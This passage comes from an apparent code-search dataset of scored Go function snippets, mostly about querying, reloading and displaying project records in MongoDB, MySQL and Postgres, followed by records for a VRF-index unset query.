[]bson.M {\n\tnonEmptySize := bson.M{\"$gt\": bson.M{\"$size\": 0}}\n\treturn []bson.M{\n\t\tlookupRepoStep,\n\t\t{\"$match\": bson.M{\n\t\t\t\"$and\": []bson.M{\n\t\t\t\t{\"$or\": []bson.M{\n\t\t\t\t\t{ProjectRefEnabledKey: true},\n\t\t\t\t\t{ProjectRefEnabledKey: nil, bsonutil.GetDottedKeyName(\"repo_ref\", RepoRefEnabledKey): true},\n\t\t\t\t}},\n\t\t\t\t{\"$or\": []bson.M{\n\t\t\t\t\t{\n\t\t\t\t\t\tprojectRefPeriodicBuildsKey: nonEmptySize,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tprojectRefPeriodicBuildsKey: nil,\n\t\t\t\t\t\tbsonutil.GetDottedKeyName(\"repo_ref\", RepoRefPeriodicBuildsKey): nonEmptySize,\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\t}},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "0c91abb863bef53e16ff2a32b46b7719", "score": "0.41047657", "text": "func (_options *ListConfigsOptions) SetProjectID(projectID string) *ListConfigsOptions {\n\t_options.ProjectID = core.StringPtr(projectID)\n\treturn _options\n}", "title": "" }, { "docid": "c715d9522ddf7c58ef5c734f02ceddf0", "score": "0.4100553", "text": "func (r *FloodlightConfigurationsService) Patch(profileId int64, id int64, floodlightconfiguration *FloodlightConfiguration) *FloodlightConfigurationsPatchCall {\n\tc := &FloodlightConfigurationsPatchCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.profileId = profileId\n\tc.urlParams_.Set(\"id\", fmt.Sprint(id))\n\tc.floodlightconfiguration = floodlightconfiguration\n\treturn c\n}", "title": "" }, { "docid": "5561f1aec151ad80bd2ce7ff25b671f0", "score": "0.41003296", "text": "func (l LinksGroupProject) ToMapByProjectID() map[int64]LinksGroupProject {\n\tm := make(map[int64]LinksGroupProject)\n\tfor i := range l {\n\t\tif _, ok := m[l[i].ProjectID]; !ok {\n\t\t\tm[l[i].ProjectID] = LinksGroupProject{}\n\t\t}\n\t\tm[l[i].ProjectID] = append(m[l[i].ProjectID], l[i])\n\t}\n\treturn m\n}", "title": "" }, { "docid": "7202cbec8cec08c8c015c284442b876f", "score": "0.40921265", "text": "func ProjectById(id string) (*models.Project, error) {\n\tvar db = context.Config.Get(\"db.database\")\n\n\t// get mongodb session\n\tsession := context.DBSession.Copy()\n\tdefer session.Close()\n\n\tvar project = new(models.Project)\n\tcollection := session.DB(db).C(\"projects\")\n\tif err := collection.FindId(bson.ObjectIdHex(id)).One(project); err != nil {\n\t\treturn nil, err\n\t}\n\treturn project, nil\n}", "title": "" }, { "docid": "ef8c4630e80b3e29cb004ebf4c2ce2a4", "score": "0.40872207", "text": "func (o *ProjectSlice) ReloadAll(ctx context.Context, exec boil.ContextExecutor) error {\n\tif o == nil || len(*o) == 0 {\n\t\treturn nil\n\t}\n\n\tslice := ProjectSlice{}\n\tvar args []interface{}\n\tfor _, obj := range *o {\n\t\tpkeyArgs := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(obj)), projectPrimaryKeyMapping)\n\t\targs = append(args, pkeyArgs...)\n\t}\n\n\tsql := \"SELECT `project`.* FROM `project` WHERE \" +\n\t\tstrmangle.WhereClauseRepeated(string(dialect.LQ), string(dialect.RQ), 0, projectPrimaryKeyColumns, len(*o))\n\n\tq := queries.Raw(sql, args...)\n\n\terr := q.Bind(ctx, exec, &slice)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"models: unable to reload all in ProjectSlice\")\n\t}\n\n\t*o = slice\n\n\treturn nil\n}", "title": "" }, { "docid": "d83879e641242ed8311a8cc329968d99", "score": "0.4084272", "text": "func (wo *WorkOrder) QueryProject() *ProjectQuery {\n\treturn (&WorkOrderClient{wo.config}).QueryProject(wo)\n}", "title": "" }, { "docid": "e17da7a05f088edfaa651cb6545d2fe8", "score": "0.4081962", "text": "func (p *Postgres) GetProjectKey(projectName string, keys ...string) ([]byte, error) {\n\tbyt := []byte{}\n\n\tkeysFormat := strings.Join(keys, \",\")\n\terr := p.db.QueryRow(\n\t\tfmt.Sprintf(\"SELECT data#>'{%s}' as data FROM trees WHERE project=$1 ORDER BY id DESC LIMIT 1\", keysFormat),\n\t\tprojectName).Scan(&byt)\n\n\treturn byt, err\n}", "title": "" }, { "docid": "52732ce347ee3b1f2cd72d16638f7940", "score": "0.40803435", "text": "func (m *Repo) ByBundleId(ctx context.Context, bundleId int) (entities.DboSlice, error) {\n\treturn m.ProducerFunc(\n\t\tctx,\n\t\t\"select * from meta_tracking inner join app_tracking APP on bundleid = APP.id where bundleid = $1\",\n\t\tbundleId,\n\t)\n}", "title": "" }, { "docid": "bb65a1aadba67ff81008bc764ea2125f", "score": "0.40738648", "text": "func (c PGClient) GetServicesByProject(projects []string) (*[]Service, error) {\n\tvar projectsID []int64\n\trows, err := c.DB.Query(\"select id from tProjects where name = any($1)\", pg.Array(projects))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor rows.Next() {\n\t\tvar tempID int64\n\t\terr := rows.Scan(&tempID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tprojectsID = append(projectsID, tempID)\n\t}\n\n\trows, err = c.DB.Query(\"select service_id from tServiceProjects where project_id=any($1)\", pg.Array(projectsID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tserviceIDs := make([]int64, 0, 10)\n\tfor rows.Next() {\n\t\tvar tempID int64\n\t\terr := rows.Scan(&tempID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tserviceIDs = append(serviceIDs, tempID)\n\t}\n\trows, err = c.DB.Query(\"select id,name,host,port,type from tServices where id =any($1)\", pg.Array(serviceIDs))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tres := make([]Service, 0, 200)\n\tfor rows.Next() {\n\t\tt := Service{}\n\t\tif err = rows.Scan(&t.ID, &t.Name, &t.Host, &t.Port, &t.Type); err != nil {\n\t\t\treturn &res, err\n\t\t}\n\t\tres = append(res, t)\n\t}\n\treturn &res, err\n}", "title": "" }, { "docid": "565578054a1f1a953ba89e7f50e3fc73", "score": "0.40729824", "text": "func (o *ProjectSlice) ReloadAll(ctx context.Context, exec boil.ContextExecutor) error {\n\tif o == nil || len(*o) == 0 {\n\t\treturn nil\n\t}\n\n\tslice := ProjectSlice{}\n\tvar args []interface{}\n\tfor _, obj := range *o {\n\t\tpkeyArgs := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(obj)), projectPrimaryKeyMapping)\n\t\targs = append(args, pkeyArgs...)\n\t}\n\n\tsql := \"SELECT `projects`.* FROM `projects` WHERE \" +\n\t\tstrmangle.WhereClauseRepeated(string(dialect.LQ), string(dialect.RQ), 0, projectPrimaryKeyColumns, len(*o))\n\n\tq := queries.Raw(sql, args...)\n\n\terr := q.Bind(ctx, exec, &slice)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"models: unable to reload all in ProjectSlice\")\n\t}\n\n\t*o = slice\n\n\treturn nil\n}", "title": "" }, { "docid": "3dc524c7aed5691031d1916af8537ee9", "score": "0.40623072", "text": "func FindProject(ctx context.Context, exec boil.ContextExecutor, iD uint, selectCols ...string) (*Project, error) {\n\tprojectObj := &Project{}\n\n\tsel := \"*\"\n\tif len(selectCols) > 0 {\n\t\tsel = strings.Join(strmangle.IdentQuoteSlice(dialect.LQ, dialect.RQ, selectCols), \",\")\n\t}\n\tquery := fmt.Sprintf(\n\t\t\"select %s from `projects` where `id`=?\", sel,\n\t)\n\n\tq := queries.Raw(query, iD)\n\n\terr := q.Bind(ctx, exec, projectObj)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"models: unable to select from projects\")\n\t}\n\n\treturn projectObj, nil\n}", "title": "" }, { "docid": "f038a205e555e9747f1c4aa6d8ca33f4", "score": "0.40463555", "text": "func WithProject(with string) wrapping.Option {\n\treturn func() interface{} {\n\t\treturn OptionFunc(func(o *options) error {\n\t\t\to.withProject = with\n\t\t\treturn nil\n\t\t})\n\t}\n}", "title": "" }, { "docid": "2d1379aca0497e0e7fe8f6509234d5a8", "score": "0.4046029", "text": "func FindProject(ctx context.Context, exec boil.ContextExecutor, iD int, selectCols ...string) (*Project, error) {\n\tprojectObj := &Project{}\n\n\tsel := \"*\"\n\tif len(selectCols) > 0 {\n\t\tsel = strings.Join(strmangle.IdentQuoteSlice(dialect.LQ, dialect.RQ, selectCols), \",\")\n\t}\n\tquery := fmt.Sprintf(\n\t\t\"select %s from `project` where `ID`=?\", sel,\n\t)\n\n\tq := queries.Raw(query, iD)\n\n\terr := q.Bind(ctx, exec, projectObj)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"models: unable to select from project\")\n\t}\n\n\treturn projectObj, nil\n}", "title": "" }, { "docid": "aa462c26f1db9e168be909ee955ecd30", "score": "0.404394", "text": "func (o *SaveTemplateParams) WithProject(project string) *SaveTemplateParams {\n\to.SetProject(project)\n\treturn o\n}", "title": "" }, { "docid": "588e24ffe0cb338eb1a39e02ef681b40", "score": "0.4027494", "text": "func (o JobQueryDefaultDatasetOutput) ProjectId() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v JobQueryDefaultDataset) *string { return v.ProjectId }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "04ef93fa0fb0055972c301c001f41909", "score": "0.40163776", "text": "func DeleteProject(id int) ([]ProjectPrint, error) {\n\t_, err := DB.Query(\"DELETE FROM projects WHERE id = $1\", id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn LoadAllProjects()\n}", "title": "" }, { "docid": "e673ac884c98adf6bddedbd268fd98c0", "score": "0.4006955", "text": "func (a *App) ShowProject(w http.ResponseWriter, req *http.Request) {\n\tdb := context.Get(req, \"db\").(*mgo.Database)\n\tif db == nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Unable to access database\"})\n\t\treturn\n\t}\n\tvars := mux.Vars(req)\n\tpid := vars[\"pid\"]\n\tpid, ok := vars[\"pid\"]\n\tif !ok {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Missing of invalid project id\"})\n\t\treturn\n\t}\n\tproject := &lair.Project{}\n\tif err := db.C(a.C.Projects).FindId(pid).One(&project); err != nil {\n\t\ta.R.JSON(w, http.StatusNotFound, &Response{Status: \"Error\", Message: \"Unable to retrieve project or project does not exist\"})\n\t\treturn\n\t}\n\thosts := []lair.Host{}\n\tif err := db.C(a.C.Hosts).Find(bson.M{\"projectId\": pid}).All(&hosts); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tfor i := range hosts {\n\t\tservices := []lair.Service{}\n\t\tif err := db.C(a.C.Services).Find(bson.M{\"hostId\": hosts[i].ID}).All(&services); err != nil {\n\t\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\t\treturn\n\t\t}\n\t\thosts[i].Services = services\n\t\twebs := []lair.WebDirectory{}\n\t\tif err := db.C(a.C.WebDirectories).Find(bson.M{\"hostId\": hosts[i].ID}).All(&webs); err != nil {\n\t\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\t\treturn\n\t\t}\n\t\thosts[i].WebDirectories = webs\n\t}\n\tproject.Hosts = hosts\n\n\tpeople := []lair.Person{}\n\tif err := db.C(a.C.People).Find(bson.M{\"projectId\": pid}).All(&people); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tproject.People = people\n\n\tissues := []lair.Issue{}\n\tif err := db.C(a.C.Issues).Find(bson.M{\"projectId\": pid}).Sort(\"-cvss\", \"title\").All(&issues); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tproject.Issues = issues\n\n\tcreds := []lair.Credential{}\n\tif err := db.C(a.C.Credentials).Find(bson.M{\"projectId\": pid}).All(&creds); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tproject.Credentials = creds\n\n\tauths := []lair.AuthInterface{}\n\tif err := db.C(a.C.AuthInterfaces).Find(bson.M{\"projectId\": pid}).All(&auths); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tproject.AuthInterfaces = auths\n\n\tnets := []lair.Netblock{}\n\tif err := db.C(a.C.Netblocks).Find(bson.M{\"projectId\": pid}).All(&nets); err != nil {\n\t\ta.R.JSON(w, http.StatusInternalServerError, &Response{Status: \"Error\", Message: \"Internal server error\"})\n\t\treturn\n\t}\n\tproject.Netblocks = nets\n\n\ta.R.JSON(w, http.StatusOK, project)\n}", "title": "" }, { "docid": "ed9007b9aeb9d8ce243d14214aa0839e", "score": "0.40064207", "text": "func FlushCacheProjects(pinfos []*PkgInfo, procks []*PkgRock) {\n\tq := connDb()\n\tdefer q.Close()\n\n\t// Update project data.\n\tfor _, p := range pinfos {\n\t\tinfo := new(PkgInfo)\n\t\terr := q.WhereEqual(\"path\", p.Path).Find(info)\n\t\tif err == nil {\n\t\t\t// Shoule always be nil, just in case not exist.\n\t\t\tp.Id = info.Id\n\t\t\t// Limit 10 views each period.\n\t\t\tif p.Views-info.Views > 10 {\n\t\t\t\tp.Views = info.Views + 10\n\t\t\t}\n\t\t}\n\t\t_, err = q.Save(p)\n\t\tif err != nil {\n\t\t\tbeego.Error(\"models.FlushCacheProjects(\", p.Path, \") ->\", err)\n\t\t}\n\t}\n\n\t// Update rock this week.\n\tif time.Now().UTC().Weekday() == time.Monday && utils.Cfg.MustBool(\"task\", \"rock_reset\") {\n\t\tutils.Cfg.SetValue(\"task\", \"rock_reset\", \"0\")\n\t\tutils.SaveConfig()\n\t\t// Reset rock table.\n\t\t_, err := q.Where(\"id > ?\", int64(0)).Delete(new(PkgRock))\n\t\tif err != nil {\n\t\t\tbeego.Error(\"models.FlushCacheProjects -> Reset rock table:\", err)\n\t\t}\n\t} else if time.Now().UTC().Weekday() != time.Monday && !utils.Cfg.MustBool(\"task\", \"rock_reset\") {\n\t\tutils.Cfg.SetValue(\"task\", \"rock_reset\", \"1\")\n\t\tutils.SaveConfig()\n\t}\n\n\tfor _, pr := range procks {\n\t\tr := new(PkgRock)\n\t\terr := q.WhereEqual(\"pid\", pr.Pid).Find(r)\n\t\tif err == nil {\n\t\t\tpr.Id = r.Id\n\t\t\tr.Delta += pr.Rank - r.Rank\n\t\t\tpr.Delta = r.Delta\n\t\t}\n\t\tq.Save(pr)\n\t}\n}", "title": "" }, { "docid": "a7030adb16542ce9343f82ec2f16844c", "score": "0.40057915", "text": "func (c *Client) NotificationsForProjectByName(\n\tctx context.Context, name string, project *schema.Project) error {\n\treq, err := c.newRequest(\"_lgraphql/projectNotifications.graphql\",\n\t\tmap[string]interface{}{\n\t\t\t\"name\": name,\n\t\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.client.Run(ctx, req, &struct {\n\t\tResponse *schema.Project `json:\"projectByName\"`\n\t}{\n\t\tResponse: project,\n\t})\n}", "title": "" }, { "docid": "3f6dd7ff403d451387e9d647df4ef7b6", "score": "0.39986053", "text": "func (a *App) SendProjectNotifications() error {\n\tprojects, err := a.repo.GetRandomProjectByUser()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, p := range projects {\n\t\tuser, err := a.repo.GetUserByUsername(p.User)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdialog, err := a.repo.GetUserDialog(&domain.User{Username: p.User})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = a.SendTeamsProactive(&mesga.Turn{\n\t\t\tSystem: mesga.TeamsCode,\n\t\t\tUser: &mesga.User{\n\t\t\t\tTeams: mesga.UserMessagerData{\n\t\t\t\t\tID: user.Meta.Teams.ID,\n\t\t\t\t},\n\t\t\t},\n\t\t\tDialog: &mesga.Dialog{\n\t\t\t\tTeams: dialog.Meta.Teams,\n\t\t\t},\n\t\t\tMessage: mesga.Message{\n\t\t\t\tText: buildProjectNotificationText(\n\t\t\t\t\tp.Title,\n\t\t\t\t\tp.ID,\n\t\t\t\t\tminutesFromNow(p.DueDate),\n\t\t\t\t),\n\t\t\t},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0b4da1e0b6c94728eb4d7c55328496ad", "score": "0.39950973", "text": "func Project(project string) Option {\n\treturn func(stackdriver *Stackdriver) {\n\t\tstackdriver.Builder.Model.MetricQuery.ProjectName = project\n\t}\n}", "title": "" }, { "docid": "85ec83d5f08de1f763f56b58beac945f", "score": "0.3994585", "text": "func (*ConditionGroup) PatchPath(ref string) string {\n\treturn fmt.Sprintf(\"/api/objects/condition/group/%s\", ref)\n}", "title": "" }, { "docid": "a551eaf66d91c101416ce6fd35ad0fe7", "score": "0.39910933", "text": "func (m *TimerMutation) SetProjectid(s string) {\n\tm.projectid = &s\n}", "title": "" }, { "docid": "8ec5fbaf5132c177940f66552ddd8a86", "score": "0.39898032", "text": "func (_options *GetConfigDiffOptions) SetProjectID(projectID string) *GetConfigDiffOptions {\n\t_options.ProjectID = core.StringPtr(projectID)\n\treturn _options\n}", "title": "" }, { "docid": "d83ad0bdb8322eff87975e871e276744", "score": "0.3989407", "text": "func (a *IamProjectApiService) IamProjectQuotaLimitPatch(ctx context.Context, projectId string, quotaId string) ApiIamProjectQuotaLimitPatchRequest {\n\treturn ApiIamProjectQuotaLimitPatchRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tprojectId: projectId,\n\t\tquotaId: quotaId,\n\t}\n}", "title": "" }, { "docid": "dc9b2b8ad2c6f615dd1970e3888a0070", "score": "0.39876527", "text": "func FilterProjects(db *sql.DB, collabSpace string) []Project {\n\tprojects := []Project{}\n\tfmt.Println(collabSpace)\n\tsqlQuery := `SELECT * FROM projects WHERE tags[1]=$1;`\n\trows, err := db.Query(sqlQuery, collabSpace)\n\n\tdefer rows.Close()\n\n\tif err != nil {\n\t\tfmt.Println(err.Error())\n\t}\n\n\tfor rows.Next() {\n\t\tproject := Project{}\n\t\trows.Scan(&project.Name, pq.Array(&project.ProjectImgs),\n\t\t\t&project.DefaultImageIndex, pq.Array(&project.Tags),\n\t\t\t&project.Description, &project.Followers)\n\n\t\tprojects = append(projects, project)\n\t}\n\n\treturn projects\n}", "title": "" } ]
a51036b308d432b4353c30475f53dc11
UnsetVRFIndex Unset VRF index.
[ { "docid": "ccb3b70e31dfa1026d722f6ee55ea620", "score": "0.8358292", "text": "func (mgr *Mgr) UnsetVRFIndex(vifIndex vswitch.VIFIndex) {\n\tmgr.lock.Lock()\n\tdefer mgr.lock.Unlock()\n\n\tlog.Logger.Info(\"vif index: %v\", vifIndex)\n\n\tfor direction := range mgr.dbs {\n\t\tvar iface *iface\n\t\tvar err error\n\t\tif iface, err = mgr.iface(direction, vifIndex); err != nil {\n\t\t\t// ignore\n\t\t\tlog.Logger.Info(\"ignore: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\tiface.unsetVRFIndex()\n\t\tmgr.setModified(direction)\n\t}\n}", "title": "" } ]
[ { "docid": "f15b9155b2850c8b08fc3bee0b9eb43d", "score": "0.5690612", "text": "func (mgr *Mgr) SetVRFIndex(vifIndex vswitch.VIFIndex,\n\tvrfIndex *vswitch.VRFIndex) {\n\tmgr.lock.Lock()\n\tdefer mgr.lock.Unlock()\n\n\tlog.Logger.Info(\"vif index: %v, Set vrf index(%v)\", vifIndex, *vrfIndex)\n\n\tfor direction := range mgr.dbs {\n\t\tvar iface *iface\n\t\tvar err error\n\t\tif iface, err = mgr.iface(direction, vifIndex); err != nil {\n\t\t\t// ignore\n\t\t\tlog.Logger.Info(\"ignore: %v\", err)\n\t\t\treturn\n\t\t}\n\n\t\tiface.setVRFIndex(vrfIndex)\n\t\tmgr.setModified(direction)\n\t}\n}", "title": "" }, { "docid": "ade9966b8baa97abf153e3f9f98e37c7", "score": "0.5410233", "text": "func (epdu *EquipmentPortDefinitionUpdate) ClearIndex() *EquipmentPortDefinitionUpdate {\n\tepdu.index = nil\n\tepdu.clearindex = true\n\treturn epdu\n}", "title": "" }, { "docid": "19243510b7bf67b28337c2fee2dbeaca", "score": "0.5355785", "text": "func (r *VRFRegistry) UnregisterVRF(v *VRF) {\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\n\tdelete(r.vrfs, v.name)\n}", "title": "" }, { "docid": "243138641dd38d2a75d7d78e20ac2469", "score": "0.532204", "text": "func (epduo *EquipmentPortDefinitionUpdateOne) ClearIndex() *EquipmentPortDefinitionUpdateOne {\n\tepduo.index = nil\n\tepduo.clearindex = true\n\treturn epduo\n}", "title": "" }, { "docid": "773c3a31726d2c9063bfe9c4a52c2c86", "score": "0.52105683", "text": "func (c *ImmudbClient) CleanIndex() error {\n\tif err := c.ensureConnected(false); err != nil {\n\t\treturn err\n\t}\n\te := new(empty.Empty)\n\t_, err := c.execute(\n\t\tfunc() (interface{}, error) { return c.immudbClient.CleanIndex(c.ctx, e) })\n\treturn err\n}", "title": "" }, { "docid": "8f3c2e98956bfdf4e0b713c54cd69291", "score": "0.5121719", "text": "func (o *NiatelemetryNiaInventory) UnsetNxosNveVni() {\n\to.NxosNveVni.Unset()\n}", "title": "" }, { "docid": "8d7b6ff59812ad24ae4970efbd064d2c", "score": "0.5090441", "text": "func (m *AccountMutation) ResetAccountIndex() {\n\tm.account_index = nil\n\tm.addaccount_index = nil\n\tdelete(m.clearedFields, account.FieldAccountIndex)\n}", "title": "" }, { "docid": "4476e9b474714175f0ec7ca71a95731e", "score": "0.5042789", "text": "func (auo *AccountUpdateOne) ClearAccountIndex() *AccountUpdateOne {\n\tauo.mutation.ClearAccountIndex()\n\treturn auo\n}", "title": "" }, { "docid": "2eeded4a706f8be519f08c966ab4ee9b", "score": "0.50294703", "text": "func (t *Table) ResetIndex() {\n\tt = t.mergeBoth()\n\tnumRows := t.Index.Length\n\tt.Index = CreateNumMS(0, numRows)\n}", "title": "" }, { "docid": "ce3eff4b406a9d3fc52c902d2428c96f", "score": "0.5006768", "text": "func (au *AccountUpdate) ClearAccountIndex() *AccountUpdate {\n\tau.mutation.ClearAccountIndex()\n\treturn au\n}", "title": "" }, { "docid": "6c25817806e71e18dd9bb0d1ed578999", "score": "0.49885756", "text": "func Unindex(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Cache-Control\", \"must-revalidate\")\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, PUT, OPTIONS\")\n\tvar col, path string\n\tif !Require(w, r, \"col\", &col) {\n\t\treturn\n\t}\n\tif !Require(w, r, \"path\", &path) {\n\t\treturn\n\t}\n\tdbcol := HttpDB.Use(col)\n\tif dbcol == nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Collection '%s' does not exist.\", col), 400)\n\t\treturn\n\t}\n\tif err := dbcol.Unindex(strings.Split(path, \",\")); err != nil {\n\t\thttp.Error(w, fmt.Sprint(err), 400)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "29804fe86cb30352b18253ac30d720bd", "score": "0.4983616", "text": "func (b *bitmap) unset(index uint) {\n\tvar i bitmap = 1 << index\n\t*b = *b & ^i\n}", "title": "" }, { "docid": "5c5864fc86f437d312b1e717f8a69432", "score": "0.49458826", "text": "func (m *AccountMutation) ClearAccountIndex() {\n\tm.account_index = nil\n\tm.addaccount_index = nil\n\tm.clearedFields[account.FieldAccountIndex] = struct{}{}\n}", "title": "" }, { "docid": "cc289cef0bb0cbe65e4649b3dc3929bf", "score": "0.49307913", "text": "func (o *Gvm) UnsetUsr() {\n\to.Usr.Unset()\n}", "title": "" }, { "docid": "2b76642fa887103fcb3f2b3389ca30ac", "score": "0.4898206", "text": "func (cm *CarManager) DeIndexCar(name string) error {\n\tcarNameCache.remove(name)\n\n\treturn cm.carIndex.Delete(name)\n}", "title": "" }, { "docid": "faec997ec74f56744ba0080608d7093f", "score": "0.48955393", "text": "func (o *NiatelemetryNiaInventory) UnsetNxosVtp() {\n\to.NxosVtp.Unset()\n}", "title": "" }, { "docid": "35b5ee2a087190d895a5f8ac67c17801", "score": "0.4865611", "text": "func (o *Gvm) UnsetRefNo() {\n\to.RefNo.Unset()\n}", "title": "" }, { "docid": "252f53a0dae1697300e8deb823d95e2e", "score": "0.4841879", "text": "func deleteUnIndex(sentence_id gocql.UUID) error {\n\twhere_map := make(map[string]interface{})\n\twhere_map[\"sentence_id\"] = sentence_id\n\treturn db.Cassandra.ExecuteWithRetry(db.Cassandra.Delete(\"word_unindex\", where_map))\n}", "title": "" }, { "docid": "716c20639c49c35cec692633a54c18e0", "score": "0.48116836", "text": "func (c *GeoCatalogue) UnIndex() bool {\n\treturn c.Repository.Delete()\n}", "title": "" }, { "docid": "3a6abc1e07bef7e73dfc60d193a521bc", "score": "0.48114818", "text": "func (o *Gvm) UnsetVersaoFirmware() {\n\to.VersaoFirmware.Unset()\n}", "title": "" }, { "docid": "0c84857870679e9688cb5c5dae234b00", "score": "0.47720912", "text": "func (o *Gvm) UnsetVersaoSoftware() {\n\to.VersaoSoftware.Unset()\n}", "title": "" }, { "docid": "92d82f26f0ae05ff1a4525673e713cc7", "score": "0.47586927", "text": "func (vrf verifio) Reset() error {\n\tlog.Info().Msg(\"Cleaning up previous verification results if they exist\")\n\terr := vrf.truncateVerifTables()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"-> truncateVerifTables %w\", err)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "8d07e37ae753af80b0c28c65a4fb5b61", "score": "0.4750083", "text": "func (j *Judy1) Unset(index uint64) bool {\n\treturn C.Judy1Unset(C.PPvoid_t(&j.array), C.Word_t(index), nil) != 0\n}", "title": "" }, { "docid": "a0fc6c28bba8a6a258111fb9b9d08d32", "score": "0.4745484", "text": "func (o *CustomVenda) UnsetVasilhame() {\n\to.Vasilhame.Unset()\n}", "title": "" }, { "docid": "9a429d70210384d597081d2f5515289c", "score": "0.47311774", "text": "func (b Bitmap) Unset(idx uint) {\n\tbucket := idx >> 3\n\t// Mask should be all ones minus the idx position\n\toffset := 1 << (idx & 7)\n\tmask := byte(offset ^ 0xff)\n\tb[bucket] &= mask\n}", "title": "" }, { "docid": "c6889c262fc537b5e635601e54e963ef", "score": "0.47003618", "text": "func (o *CustomVenda) UnsetRefCompartimentoVasilhame() {\n\to.RefCompartimentoVasilhame.Unset()\n}", "title": "" }, { "docid": "ea1222e0d0ab8f8700e4fe1a8759c2a3", "score": "0.46964222", "text": "func (s *WhiteList) removeIndex(idx int) {\n\tnewArray := make([]WhitelistEntry, (len(s.Whitelisted) - 1))\n\tk := 0\n\tfor i := 0; i < len(s.Whitelisted); i++ {\n\t\tif i != idx {\n\t\t\tnewArray[k] = s.Whitelisted[i]\n\t\t\tk++\n\t\t}\n\t}\n\ts.Whitelisted = newArray\n\n}", "title": "" }, { "docid": "8502cb1ab2d1a85dcfcf31517d3fe0b1", "score": "0.46954715", "text": "func (m *ModelsMutation) ResetFax() {\n\tm.fax = nil\n}", "title": "" }, { "docid": "889c46a0acbe4e5b26f2c478178b3a1f", "score": "0.46819168", "text": "func (encoder *encoderCommon) ClearIndexPreference(name string) {\n\tencoder.logger.Printf(\"clear indexing pref for %v\", name)\n\tdelete(encoder.indexPrefs, name)\n}", "title": "" }, { "docid": "c7ea9efd972d4de5621ae9487bab713a", "score": "0.46508214", "text": "func (o *StringTankOrdered) RemoveIndex(idx int) (cell StringTankCapsule) {\n\tcell = o.s[idx]\n\tdelete(o.m, o.s[idx].K)\n\to.shift(idx+1, len(o.s), -1)\n\to.s = append(o.s[:idx], o.s[idx+1:]...)\n\treturn\n}", "title": "" }, { "docid": "905c30ab43fca6d2d5409840d9b2937c", "score": "0.46119073", "text": "func (o *NiatelemetryNiaInventory) UnsetNxosBgpMvpn() {\n\to.NxosBgpMvpn.Unset()\n}", "title": "" }, { "docid": "b28b61f2f39110f6d193402cff693128", "score": "0.4605436", "text": "func (o *FirmwareNetworkShareAllOf) UnsetNfsServer() {\n\to.NfsServer.Unset()\n}", "title": "" }, { "docid": "4fc1787f472bd1daee951f587398a2ba", "score": "0.45989957", "text": "func (o *NiatelemetryTenant) SetVrfCount(v int64) {\n\to.VrfCount = &v\n}", "title": "" }, { "docid": "a3a06b275de79fd13d492662a8184274", "score": "0.4597927", "text": "func (o *NiatelemetryNiaInventory) UnsetNxosBgpEvpn() {\n\to.NxosBgpEvpn.Unset()\n}", "title": "" }, { "docid": "068f81a9bbfd26c92468768201955503", "score": "0.45714903", "text": "func (o *IPAMPrefixesListParams) SetVrf(vrf *string) {\n\to.Vrf = vrf\n}", "title": "" }, { "docid": "19657b0e5bf540ed9854c16b4f672669", "score": "0.45678073", "text": "func (o *InvoiceIndexResponseInvoices) UnsetPartnerTitle() {\n\to.PartnerTitle.Unset()\n}", "title": "" }, { "docid": 